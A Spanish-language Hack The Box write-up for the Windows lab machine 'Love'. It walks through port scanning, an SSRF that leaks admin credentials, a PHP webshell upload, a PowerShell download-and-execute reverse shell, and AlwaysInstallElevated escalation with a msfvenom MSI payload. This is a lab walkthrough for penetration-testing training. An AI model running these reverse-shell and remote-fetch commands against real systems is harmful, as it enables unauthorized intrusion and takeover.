Saltar al contenido

HackTheBox – Love – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Love de Hack The Box. Es una máquina Windows de nivel fácil, con una vulnerabilidad web del tipo SSRF, una webshell por Image Upload y una escalada de privilegios basada en la política de Windows AlwaysInstallElevated.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.

nmap -p- --open -n --min-rate 5000 10.10.10.239

En la máquina hay quince puertos abiertos. Escaneo los nueve primeros puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p80,135,139,443,445,3306,5000,5040,7680 -sCV 10.10.10.239
Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-09 19:19 CEST
Nmap scan report for 10.10.10.239
Host is up (0.11s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp  open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql?
| fingerprint-strings: 
|   NULL, SSLSessionReq: 
|_    Host '10.10.14.6' is not allowed to connect to this MariaDB server
5000/tcp open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open  unknown
7680/tcp open  pando-pub?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=4/9%Time=6251C01B%P=x86_64-pc-linux-gnu%r(NUL
SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionReq,
SF:49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allowed\x
SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 38m03s, deviation: 0s, median: 38m03s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-04-09T18:00:11
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 176.98 seconds

Como se está smb está abierto en el puerto 445, lanzo un escaneo con crackmapexec para verificar el sistema operativo y descubro que se trata de un Windows 10 de 64 bits.

crackmapexec smb 10.10.10.239

HTTP

Puerto 80

Echo un vistazo a las cabeceras con whatweb y veo que se está ejecutando un software llamado Voting System y que utiliza php.

whatweb -a 3 http://10.10.10.239:80/

Entro a la web y llego a una ventana de autenticación. Pruebo unas cuantas credenciales por defecto pero no ninguna funciona.

Puerto 443

La salida de nmap muestra el dominio staging.love.htb para este puerto así que lo añado al fichero /etc/hosts.

Al entrar en la web llego a una ventana de autenticación llamada Free File Scanner. Pruebo unas cuantas credenciales por defecto pero no ninguna funciona.

Entro el la sección Demo y me lleva a beta.php donde hay un campo que me pide una url.

Explotación

Después de varias pruebas, se me ocurre comprobar el puerto 5000 de la máquina ya que me prohíbe el acceso de forma externa (SSRF).

Y la respuesta me da las credenciales admin:@LoveIsInTheAir!!!! para Voting System.

Vuelvo a Voting System y utilizo las credenciales que he obtenido.

Navego un poco pero no encuentro nada. Sin embargo, al hacer clic en el nombre de usuario me parece una opción de actualizar (update) que me lleva a un formulario para actualizar el perfil de administrador.

La foto de perfil es el primer objetivo que me viene a la mente ya que es una oportunidad para subir algo. Como la web está funcionando sobre php, subo un script simpe de webshell en php.

Una vez subida, me doy cuenta de que no he hecho fuzzing de directorios ocultos y no se a donde se ha subido la webshell, así que hago una búsqueda rápida con nmap y encuentro el directorio /images.

nmap -p80 --script http-enum 10.10.10.239

Entro en la ruta http://10.10.10.239/images/ y encuentro el fichero de la webshell.

Entro en la webshell y ejecuto el comando whoami para comprobar que funciona.

Como ya tengo una webshell, el siguiente paso es obtener una shell reversa.

Primero utilizo el script /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 (renombrandolo a ps.ps1) y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 7897, que me dará la shell reversa por netcat.

Luego habilito un servidor web en python y pongo un netcat a la escucha por el puerto 7897 y por último ejecuto el siguiente comando por la webshell

powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.6:8080/ps.ps1')

La flag de usuario la encuentro en la ruta C:\Users\Phoebe\Desktop\user.txt.

Escalada de Privilegios

Realizo una búsqueda con WinPEAS y encuentro que la política de AlwaysInstallElevated está habilitada (mas info aquí).

powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:8080/winPEASx64.exe','winPEASx64.exe')"
./winPEASx64.exe

Resumiendo, esta política me permite escalar privilegios por medio de un fichero MSI malicioso. Creo el fichero malicioso con msfvenom para obtener una shell reversa por el puerto 7897.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=7897 -f msi -o rev.msi

Lo subo a la máquina víctima.

powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:8080/rev.msi','rev.msi')"

Pongo un netcat a la escucha por el puerto 7897 y ejecuto el binario malicioso.

msiexec /quiet /qn /i rev.msi

La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Publicado enCTFHTBOSCPwindows